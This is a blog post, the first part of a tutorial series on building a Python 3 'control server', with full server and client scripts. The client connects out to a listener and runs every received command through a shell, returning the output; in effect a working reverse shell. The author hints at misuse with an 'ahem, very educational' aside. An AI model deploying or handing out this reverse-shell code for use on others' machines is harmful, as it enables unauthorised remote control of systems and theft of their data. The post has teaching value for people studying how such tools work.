[ Part 1Part 2Part 3Part 4Part 5 – Part 6 – Part 7 – Part 8 ]

What’s going on guys?

We’re off to another series: Python Control Server.

Yes, there’s three series going on at once in the blog, so what! 😀

I like having multiple things going so that I don’t have to think much whenever I have some free time to code. I can just sit down and choose whichever series/project to work on at the moment.

Anyway, many people emailed me to post my old videos (from like 10 years ago) from this same series – written in Python 2.X.

However, with Python 2.X reaching end of life in January 2020, I figure: Why not just redo the whole thing in Python 3?

It’s also worth mentioning that some of the libraries I used back then have not been properly ported over to Python 3. Overall it just makes a lot of sense to redo the project using more current libraries.

Control Server

Why make a Python Control Server?

For many (ahem, very educational) reasons of course! Like for example, we are two days away from Christmas and many people enjoy taking vacations around this time. Well, why not setup a nice control server to have access to your systems while your away?

Sounds like a good idea time to me!

About Christmas though, I had my first batch of family visiting and let me tell you… its rather easy to get a cold when there’s a lot of people in the same household for hours at a time. So pardon my voice in the video.

Now that we got that out of the way, let’s move on…

Both the server and client script will be rather short (~20ish lines of code), so I’ll post it all at once and analyze the main components.

Server Code

Let’s take a look at the server code first:

#!/usr/bin/env python3
import socket,os
# Socket configuration
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind(('0.0.0.0', 4420))
c.listen(1)
s,a = c.accept()

while True:
	# Receive data
	data = s.recv(1024)
	# Check for end of command
	if data.decode().endswith("EOFX") == True:
		# Print data without 'EOFX'
		print(data[:-4].decode())
		# Get next command
		nextcmd = input("[shell]: ")
		# Send that $hit
		if nextcmd == 'quit':
			s.send(nextcmd.encode())
			break
		else: s.send(nextcmd.encode())
	# If we haven't reach end of command, print
	else:
		print(data.decode())

We’ll start off importing the usual socket and os libraries. Then we’ll setup a standard socket for listening on a random port number. Typical stuff.

On the main loop, we’ll keep receiving data till we get the characters we defined as end of string (‘EOFX’) – this indicates we are done receiving.

Then we’ll simply prompt server user for next command to send over to the client and that’s basically the whole thing.

Client Code

Onto the client script:

#!/usr/bin/env python3
import subprocess,socket,os

# Enter IP address and port
HOST = 'Enter.IP.Address.Here'
PORT = 4420
# Configure socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('\nHowdy!\nEOFX'.encode())

while True:
	data = s.recv(1024)
	if data.decode() == "quit": break
	elif data.decode()[:2] == "cd":
		try: os.chdir(data.decode()[3:])
		except: pass
	else:
		proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
		stdoutput = proc.stdout.read() + proc.stderr.read()
		stdoutput.decode()
		s.sendall(stdoutput)
	s.sendall('EOFX'.encode())
# Loop ends here
s.send('Bye!'.encode())
s.close()

Begin by setting up the address and port, then go ahead and connect to the server – make sure to change the IP address variable HOST.

We’ll send a initial message to test out the connection.

Then inside the main loop, we’ll keep it short in this part. We’re only going to have three conditions: one in case the user wants to quit, another to cd into a new directory and the last one to run any other commands.

After one of the conditions is met, we’ll send the ‘EOFX’ to signal that output from out client command has finished and that’s about it.

Download Code

Check out the code and the video for part 1, keeping it simple this time.

There’s only a few key differences from the original code in Python 2.X and they’re mostly minor syntax changes. For example, the print function now takes a set of parenthesis () instead of quotes. The raw_input function has now been renamed to input. Simple things like that.

I guess the only annoying part is having to encode and decode from a bytes-like object into string and vice versa while dealing with sockets.

Anyway hope y’all enjoyed part one, and see you next time.

Share: